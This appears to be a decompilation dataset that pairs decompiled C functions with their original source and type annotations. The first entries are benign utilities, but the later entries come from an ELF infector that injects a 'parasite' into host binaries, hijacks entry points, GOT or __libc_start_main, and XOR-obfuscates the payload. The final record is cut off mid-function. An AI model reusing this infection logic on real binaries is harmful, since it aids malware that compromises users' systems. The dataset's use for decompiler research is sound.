__int64 __fastcall sort_cmp_ocu_doc(__int64 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // ecx
unsigned int v5; // edx

result = 0xFFFFFFFFLL;
if ( *(_QWORD *)a1 <= *(_QWORD *)a3 )
{
result = 1LL;
if ( *(_QWORD *)a1 >= *(_QWORD *)a3 )
{
v4 = *(_DWORD *)(a1 + 8);
v5 = *(_DWORD *)(a3 + 8);
result = 0xFFFFFFFFLL;
if ( v4 <= v5 )
result = v4 < v5;
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // ecx
unsigned int v5; // edx

result = 0xFFFFFFFFLL;
if ( *(_QWORD *)a1 <= *(_QWORD *)a3 )
{
result = 1LL;
if ( *(_QWORD *)a1 >= *(_QWORD *)a3 )
{
v4 = *(_DWORD *)(a1 + 8);
v5 = *(_DWORD *)(a3 + 8);
result = 0xFFFFFFFFLL;
if ( v4 <= v5 )
result = v4 < v5;
}
}
return result;
}

original_code:
int sort_cmp_ocu_doc(void* reg1, size_t size1, void* reg2, size_t size2){
 Ocurrencia *ent1 = reg1, *ent2 = reg2;
 if(ent1->id_pa > ent2->id_pa)
  return -1;
 else if(ent1->id_pa < ent2->id_pa)
  return 1;
 else{
  if(ent1->id_text > ent2->id_text)
   return -1;
  else if(ent1->id_text < ent2->id_text)
   return 1;
 }
 return 0;
}

canonical_original_code:
int sort_cmp_ocu_doc(void *reg1, unsigned long size1, void *reg2, unsigned long size2){
 struct Ocurrencia *ent1 = reg1; struct Ocurrencia *ent2 = reg2;
 if(ent1->id_pa > ent2->id_pa)
  return -1;
 else if(ent1->id_pa < ent2->id_pa)
  return 1;
 else{
  if(ent1->id_text > ent2->id_text)
   return -1;
  else if(ent1->id_text < ent2->id_text)
   return 1;
 }
 return 0;
}

variable_types: struct Ocurrencia { long id_pa; unsigned int id_text; } *


decompiled_code:
__int64 __fastcall Serializador_unpack(_QWORD *a1, unsigned int a2, _QWORD *a3, _QWORD *a4)
{
__int64 result; // rax

if ( a2 == 2 )
{
*a3 = 4LL;
result = *a1 + *a4;
*a4 += 4LL;
}
else if ( a2 > 2 )
{
if ( a2 == 3 )
{
*a3 = 1LL;
result = *a1 + (*a4)++;
}
else
{
result = 0LL;
}
}
else
{
if ( !a2 )
{
*a3 = *(_QWORD *)(*a1 + *a4);
*a4 += 8LL;
}
result = *a1 + *a4;
*a4 += *a3;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(_QWORD *a1, unsigned int a2, _QWORD *a3, _QWORD *a4)
{
__int64 result; // rax

if ( a2 == 2 )
{
*a3 = 4LL;
result = *a1 + *a4;
*a4 += 4LL;
}
else if ( a2 > 2 )
{
if ( a2 == 3 )
{
*a3 = 1LL;
result = *a1 + (*a4)++;
}
else
{
result = 0LL;
}
}
else
{
if ( !a2 )
{
*a3 = *(_QWORD *)(*a1 + *a4);
*a4 += 8LL;
}
result = *a1 + *a4;
*a4 += *a3;
}
return result;
}

original_code:
uint8_t* Serializador_unpack(SerializadorData* data, SerializadorTipos tipo, size_t* size, size_t* pos){
 uint8_t* ret_ptr = ((void *)0);
 switch(tipo){
  case SER_VAR_CHAR:{
   size_t* tam = (size_t*) (data->buf + *pos);
   *size = *tam;
   *pos += sizeof(size_t);
  }
  case SER_FIX_BUF:
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_INT:
   *size = sizeof(int);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_CHAR:
   *size = sizeof(char);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  default:
   break;
 }
 return ret_ptr;
}

canonical_original_code:
unsigned char *Serializador_unpack(struct SerializadorData *data, enum SerializadorTipos tipo, unsigned long *size, unsigned long *pos){
 unsigned char *ret_ptr = ((void *)0);
 switch(tipo){
  case SER_VAR_CHAR:{
   unsigned long *tam = (size_t*) (data->buf + *pos);
   *size = *tam;
   *pos += sizeof(unsigned long);
  }
  case SER_FIX_BUF:
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_INT:
   *size = sizeof(int);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_CHAR:
   *size = sizeof(char);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  default:
   break;
 }
 return ret_ptr;
}

variable_types: struct SerializadorData { unsigned char *buf; unsigned long size; } *

variable_types: enum SerializadorTipos { SER_VAR_CHAR=0, SER_FIX_BUF=1, SER_INT=2, SER_CHAR=3 }

variable_types:
size
unsigned long *

variable_types:
pos
unsigned long *

variable_types:
tam
unsigned long *

return_type: unsigned char *


repo: NickHu/gmailc

decompiled_code:
size_t __fastcall curl_write(void *src, __int64 a2, __int64 a3, __int64 a4)
{
size_t v5; // rbp
char *v6; // rax
size_t v7; // rax

v5 = a3 * a2;
v6 = (char *)realloc(*(void **)a4, *(_QWORD *)(a4 + 8) + a3 * a2);
*(_QWORD *)a4 = v6;
if ( v6 )
{
memcpy(&v6[*(_QWORD *)(a4 + 8)], src, v5);
v7 = *(_QWORD *)(a4 + 8) + v5;
*(_QWORD *)(a4 + 8) = v7;
*(_BYTE *)(*(_QWORD *)a4 + v7) = 0;
}
else
{
puts("not enough memory (realloc returned NULL)");
v5 = 0LL;
}
return v5;
}

canonical_decompiled_code:
size_t __fastcall func0(void *src, __int64 a2, __int64 a3, __int64 a4)
{
size_t v5; // rbp
char *v6; // rax
size_t v7; // rax

v5 = a3 * a2;
v6 = (char *)realloc(*(void **)a4, *(_QWORD *)(a4 + 8) + a3 * a2);
*(_QWORD *)a4 = v6;
if ( v6 )
{
memcpy(&v6[*(_QWORD *)(a4 + 8)], src, v5);
v7 = *(_QWORD *)(a4 + 8) + v5;
*(_QWORD *)(a4 + 8) = v7;
*(_BYTE *)(*(_QWORD *)a4 + v7) = 0;
}
else
{
puts("not enough memory (realloc returned NULL)");
v5 = 0LL;
}
return v5;
}

original_code:
static size_t curl_write(char *ptr, size_t size, size_t nmemb, void *data)
{
  size_t real_size = size * nmemb;
  struct XML *xml = (struct XML *) data;
  xml->data = realloc(xml->data, xml->size + real_size);
  if(xml->data == ((void *)0))
  {
    printf("not enough memory (realloc returned NULL)\n");
    return 0;
  }
  memcpy(&(xml->data[xml->size]), ptr, real_size);
  xml->size += real_size;
  xml->data[xml->size] = 0;
  return real_size;
}

canonical_original_code:
static unsigned long curl_write(char *ptr, unsigned long size, unsigned long nmemb, void *data)
{
  unsigned long real_size = size * nmemb;
  struct XML *xml = (struct XML *) data;
  xml->data = realloc(xml->data, xml->size + real_size);
  if(xml->data == ((void *)0))
  {
    printf("not enough memory (realloc returned NULL)\n");
    return 0;
  }
  memcpy(&(xml->data[xml->size]), ptr, real_size);
  xml->size += real_size;
  xml->data[xml->size] = 0;
  return real_size;
}

variable_types:
ptr
char *

variable_types:
nmemb
unsigned long

variable_types:
data
void *

variable_types: struct XML { char *data; unsigned long size; } *

return_type: unsigned long


decompiled_code:
char *__fastcall url_encode(char *s)
{
char v1; // al
char *v2; // rdx
int v3; // er12
size_t v4; // r12
char *v5; // rbp
char *v6; // rbx
size_t v7; // rax
char delim[2]; // [rsp+Eh] [rbp-2Ah] BYREF

strcpy(delim, "@");
v1 = *s;
if ( *s )
{
v2 = s + 1;
v3 = 0;
do
{
v3 += v1 == 64;
v1 = *v2++;
}
while ( v1 );
}
else
{
v3 = 0;
}
v4 = strlen(s) + 2 * v3;
v5 = (char *)malloc(v4);
*v5 = 0;
v6 = strtok(s, delim);
if ( v6 )
{
while ( 1 )
{
v7 = strlen(v5);
strncat(v5, v6, v4 - v7);
v6 = strtok(0LL, delim);
if ( !v6 )
break;
*(_DWORD *)&v5[strlen(v5)] = 3159077;
}
}
return v5;
}

canonical_decompiled_code:
char *__fastcall func1(char *s)
{
char v1; // al
char *v2; // rdx
int v3; // er12
size_t v4; // r12
char *v5; // rbp
char *v6; // rbx
size_t v7; // rax
char delim[2]; // [rsp+Eh] [rbp-2Ah] BYREF

strcpy(delim, "@");
v1 = *s;
if ( *s )
{
v2 = s + 1;
v3 = 0;
do
{
v3 += v1 == 64;
v1 = *v2++;
}
while ( v1 );
}
else
{
v3 = 0;
}
v4 = strlen(s) + 2 * v3;
v5 = (char *)malloc(v4);
*v5 = 0;
v6 = strtok(s, delim);
if ( v6 )
{
while ( 1 )
{
v7 = strlen(v5);
strncat(v5, v6, v4 - v7);
v6 = strtok(0LL, delim);
if ( !v6 )
break;
*(_DWORD *)&v5[strlen(v5)] = 3159077;
}
}
return v5;
}

original_code:
char *url_encode(char *string)
{
  const char delim[] = "@";
  int at_count = 0;
  for(int i = 0; string[i]; ++i)
    if(string[i] == '@')
      ++at_count;
  const size_t encoded_size = strlen(string) + 2 * at_count;
  char *encoded = malloc(encoded_size);
  encoded[0] = '\0';
  char *token = strtok(string, delim);
  while(token != ((void *)0))
  {
    strncat(encoded, token, encoded_size - strlen(encoded));
    char *next = strtok(((void *)0), delim);
    if(next)
      strncat(encoded, "%40", sizeof("%40"));
    token = next;
  }
  return encoded;
}

canonical_original_code:
char *url_encode(char *string)
{
  char delim[] = "@";
  int at_count = 0;
  for(int i = 0; string[i]; ++i)
    if(string[i] == '@')
      ++at_count;
  unsigned long encoded_size = strlen(string) + 2 * at_count;
  char *encoded = malloc(encoded_size);
  encoded[0] = '\0';
  char *token = strtok(string, delim);
  while(token != ((void *)0))
  {
    strncat(encoded, token, encoded_size - strlen(encoded));
    char *next = strtok(((void *)0), delim);
    if(next)
      strncat(encoded, "%40", sizeof("%40"));
    token = next;
  }
  return encoded;
}

variable_types:
string
char *

variable_types:
delim
char []

variable_types:
encoded
char *

variable_types:
token
char *

variable_types:
next
char *


repo: NickStephens/elfit

decompiled_code:
__int64 __fastcall elfit32(__int64 a1)
{
__int64 v1; // r12
unsigned int v2; // ebp
char v3; // si
unsigned int v4; // ebp
__int64 result; // rax
unsigned int v6; // [rsp+0h] [rbp-5Ch] BYREF
char v7[16]; // [rsp+4h] [rbp-58h] BYREF
__int64 v8; // [rsp+14h] [rbp-48h]
char v9[48]; // [rsp+24h] [rbp-38h] BYREF
__int64 v10; // [rsp+54h] [rbp-8h]

if ( !a1 )
return 0xFFFFFFFFLL;
v10 = v1;
v2 = *(_DWORD *)(a1 + 216);
load_host(a1, v9);
load_host(a1 + 100, v7);
v6 = *(_QWORD *)(a1 + 208);
if ( !v6 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v1 = entry_redirect_32(v9, &v6);
break;
case 2:
puts("[+ GOT REDIR]");
v1 = got_redirect_32(v9, a1 + 224, &v6);
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v1 = libc_start_main_hijack_32(v9, *(unsigned int *)(a1 + 324), &v6);
break;
default:
puts("[-] no redirection method chosen");
puts("continuing infection process");
v1 = -1LL;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v6);
if ( (unsigned int)patch_parasite32(v7, v2, v6) )
puts("out-of-bounds patch position supplied");
v3 = *(_BYTE *)(a1 + 200);
if ( v3 )
{
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", (unsigned int)v3);
parasite_polymorphize32(v7, (unsigned int)*(char *)(a1 + 200));
}
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v4 = textpadding_inject_32(v9, v7, v2, *(unsigned int *)(a1 + 208));
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable32(v9);
}
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v4 = reverse_inject_32(v9, v7);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
make_text_writeable32(v9);
break;
case 3:
puts("[+ INJECTING PARASITE INTO DATA SEGMENT]");
puts("chosen injection method not yet implemented");
exit(1);
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v4 = note_inject_32(v9, v7);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
return result;
default:
v4 = 0;
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v4, *(_QWORD *)(v8 + 48) + v4);
reload_host(a1, v9);
if ( *(_DWORD *)(a1 + 220) == 2 )
v1 = got_redirect_32(v9, a1 + 224, &v6);
if ( *(_DWORD *)(a1 + 220) == 6 )
v1 = libc_start_main_hijack_32(v9, *(unsigned int *)(a1 + 324), &v6);
if ( v1 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_32(v9, v1, v4);
}
unload_host(v9);
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1)
{
__int64 v1; // r12
unsigned int v2; // ebp
char v3; // si
unsigned int v4; // ebp
__int64 result; // rax
unsigned int v6; // [rsp+0h] [rbp-5Ch] BYREF
char v7[16]; // [rsp+4h] [rbp-58h] BYREF
__int64 v8; // [rsp+14h] [rbp-48h]
char v9[48]; // [rsp+24h] [rbp-38h] BYREF
__int64 v10; // [rsp+54h] [rbp-8h]

if ( !a1 )
return 0xFFFFFFFFLL;
v10 = v1;
v2 = *(_DWORD *)(a1 + 216);
load_host(a1, v9);
load_host(a1 + 100, v7);
v6 = *(_QWORD *)(a1 + 208);
if ( !v6 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v1 = entry_redirect_32(v9, &v6);
break;
case 2:
puts("[+ GOT REDIR]");
v1 = got_redirect_32(v9, a1 + 224, &v6);
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v1 = libc_start_main_hijack_32(v9, *(unsigned int *)(a1 + 324), &v6);
break;
default:
puts("[-] no redirection method chosen");
puts("continuing infection process");
v1 = -1LL;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v6);
if ( (unsigned int)patch_parasite32(v7, v2, v6) )
puts("out-of-bounds patch position supplied");
v3 = *(_BYTE *)(a1 + 200);
if ( v3 )
{
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", (unsigned int)v3);
parasite_polymorphize32(v7, (unsigned int)*(char *)(a1 + 200));
}
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v4 = textpadding_inject_32(v9, v7, v2, *(unsigned int *)(a1 + 208));
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable32(v9);
}
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v4 = reverse_inject_32(v9, v7);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
make_text_writeable32(v9);
break;
case 3:
puts("[+ INJECTING PARASITE INTO DATA SEGMENT]");
puts("chosen injection method not yet implemented");
exit(1);
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v4 = note_inject_32(v9, v7);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
return result;
default:
v4 = 0;
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v4, *(_QWORD *)(v8 + 48) + v4);
reload_host(a1, v9);
if ( *(_DWORD *)(a1 + 220) == 2 )
v1 = got_redirect_32(v9, a1 + 224, &v6);
if ( *(_DWORD *)(a1 + 220) == 6 )
v1 = libc_start_main_hijack_32(v9, *(unsigned int *)(a1 + 324), &v6);
if ( v1 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_32(v9, v1, v4);
}
unload_host(v9);
return 1LL;
}

original_code:
int elfit32(opts_t *opts)
{
    Elfit_t host;
    Elfit_t parasite;
    uint32_t malpoint;
    uint32_t patch_pos;
    uint32_t patch_addr;
    off_t patch_off;
    malpoint = 0;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_32(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (patch_parasite32(&parasite, patch_pos, patch_addr))
    {
        printf("out-of-bounds patch position supplied\n");
    }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize32(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_32(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable32(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable32(&host);
            break;
        case 3:
            printf("[+ INJECTING PARASITE INTO DATA SEGMENT]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_32(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

canonical_original_code:
int elfit32(struct opts_t *opts)
{
    struct Elfit_t host;
    struct Elfit_t parasite;
    unsigned int malpoint;
    unsigned int patch_pos;
    unsigned int patch_addr;
    long patch_off;
    malpoint = 0;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_32(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (patch_parasite32(&parasite, patch_pos, patch_addr))
    {
        printf("out-of-bounds patch position supplied\n");
    }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize32(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_32(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable32(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable32(&host);
            break;
        case 3:
            printf("[+ INJECTING PARASITE INTO DATA SEGMENT]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_32(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

variable_types: struct opts_t { char host[100]; char parasite[100]; char polymorphic_key; unsigned long patch_addr; unsigned int patch_pos; unsigned int redirection_method; char pltsymbol[100]; unsigned int startmain_mode; unsigned int injection_method; unsigned int cross_infect; } *

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; }

variable_types:
malpoint
unsigned int

user_defined_types: struct Elfit_t { char *name; unsigned char *mem; struct stat *file; }

user_defined_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }


decompiled_code:
__int64 __fastcall elfit64(__int64 a1)
{
__int64 v1; // rbp
__int64 v2; // r12
__int64 v3; // r13
char v4; // si
__int64 result; // rax
__int64 v6; // [rsp+0h] [rbp-70h] BYREF
char v7[16]; // [rsp+8h] [rbp-68h] BYREF
__int64 v8; // [rsp+18h] [rbp-58h]
char v9[48]; // [rsp+28h] [rbp-48h] BYREF
__int64 v10; // [rsp+58h] [rbp-18h]
__int64 v11; // [rsp+60h] [rbp-10h]

if ( !a1 )
return 0xFFFFFFFFLL;
v11 = v2;
v10 = v1;
v3 = *(unsigned int *)(a1 + 216);
load_host(a1, v9);
load_host(a1 + 100, v7);
v6 = *(_QWORD *)(a1 + 208);
if ( !v6 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v2 = entry_redirect_64(v9, &v6);
break;
case 2:
puts("[+ GOT REDIR]");
v2 = got_redirect_64(v9, a1 + 224, &v6);
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v2 = libc_start_main_hijack_64(v9, *(unsigned int *)(a1 + 324), &v6);
break;
default:
puts("[-] no redirection method chosen");
puts("continuing infection process");
v2 = -1LL;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v6);
if ( (unsigned int)patch_parasite64(v7, v3, v6) )
puts("out-of-bounds patch position supplied");
v4 = *(_BYTE *)(a1 + 200);
if ( v4 )
{
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", (unsigned int)v4);
parasite_polymorphize64(v7, (unsigned int)*(char *)(a1 + 200));
}
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v1 = textpadding_inject_64(v9, v7, v3, *(_QWORD *)(a1 + 208));
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable64(v9);
}
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v1 = (int)reverse_inject_64(v9, v7);
printf("[+ INJECTED AT %08x]\n", v1);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
make_text_writeable64(v9);
break;
case 3:
puts("[+ INJECTION PARASITE INTO DATA SEGMENT]");
v1 = (int)data_inject_64(v9, v7);
reload_host(a1, v9);
make_data_executable64(v9);
break;
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v1 = (int)note_inject_64(v9, v7);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
return result;
default:
puts("[-] no injection technique chosen");
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v1, *(_QWORD *)(v8 + 48) + v1);
reload_host(a1, v9);
if ( *(_DWORD *)(a1 + 220) == 2 )
v2 = got_redirect_64(v9, a1 + 224, &v6);
if ( *(_DWORD *)(a1 + 220) == 6 )
v2 = libc_start_main_hijack_64(v9, *(unsigned int *)(a1 + 324), &v6);
if ( v2 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_64(v9, v2, v1);
}
unload_host(v9);
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1)
{
__int64 v1; // rbp
__int64 v2; // r12
__int64 v3; // r13
char v4; // si
__int64 result; // rax
__int64 v6; // [rsp+0h] [rbp-70h] BYREF
char v7[16]; // [rsp+8h] [rbp-68h] BYREF
__int64 v8; // [rsp+18h] [rbp-58h]
char v9[48]; // [rsp+28h] [rbp-48h] BYREF
__int64 v10; // [rsp+58h] [rbp-18h]
__int64 v11; // [rsp+60h] [rbp-10h]

if ( !a1 )
return 0xFFFFFFFFLL;
v11 = v2;
v10 = v1;
v3 = *(unsigned int *)(a1 + 216);
load_host(a1, v9);
load_host(a1 + 100, v7);
v6 = *(_QWORD *)(a1 + 208);
if ( !v6 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v2 = entry_redirect_64(v9, &v6);
break;
case 2:
puts("[+ GOT REDIR]");
v2 = got_redirect_64(v9, a1 + 224, &v6);
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
